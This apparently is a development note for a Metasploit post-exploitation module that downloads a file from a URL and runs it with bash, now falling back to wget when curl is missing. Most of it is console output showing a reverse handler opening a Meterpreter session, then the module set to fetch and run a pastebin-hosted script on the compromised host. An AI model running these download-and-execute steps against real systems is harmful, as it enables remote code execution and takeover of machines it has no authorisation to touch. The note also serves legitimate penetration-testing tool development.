wget support for post/linux/manage/download_exec

The module looks for wget in $PATH if curl isn't found.

```
msf post(download_exec) > info

       Name: Linux Download Exec
     Module: post/linux/manage/download_exec
    Version: 0
   Platform: Linux
       Arch: 
       Rank: Normal

Provided by:
  Joshua D. Abraham <jabra@praetorian.com>

Description:
  This module downloads and runs a file with bash. It first tries to 
  uses curl as its HTTP client and then wget if it's not found. Bash 
  found in the PATH is used to execute the file.
```

```
msf exploit(handler) > exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 10.0.0.136:4444
[*] Starting the payload handler...
msf exploit(handler) > [*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1126400 bytes) to 10.0.0.100
[*] Meterpreter session 1 opened (10.0.0.136:4444 -> 10.0.0.100:41524) at 2013-03-21 00:02:02 -0400

msf exploit(handler) > use post/linux/manage/download_exec
msf post(download_exec) > set session 1
session => 1
msf post(download_exec) > set url 'http://pastebin.com/raw.php\?i=RkVqNudD'
url => http://pastebin.com/raw.php\?i=RkVqNudD
msf post(download_exec) > show options

Module options (post/linux/manage/download_exec):

   Name     Current Setting                          Required  Description
   ----     ---------------                          --------  -----------
   SESSION  1                                        yes       The session to run this module on.
   URL      http://pastebin.com/raw.php\?i=RkVqNudD  yes       Full URL of file to download.

msf post(download_exec) > exploit

[*] Checking if curl exists in the path...
[!] curl not available on the $PATH, checking for wget...
[*] Checking if wget exists in the path...
[+] wget available, going ahead...
[*] 10.1.0.25 - Meterpreter session 1 closed.  Reason: Died
[-] Post interrupted by the console user
[*] Post module execution completed
msf post(download_exec) >
```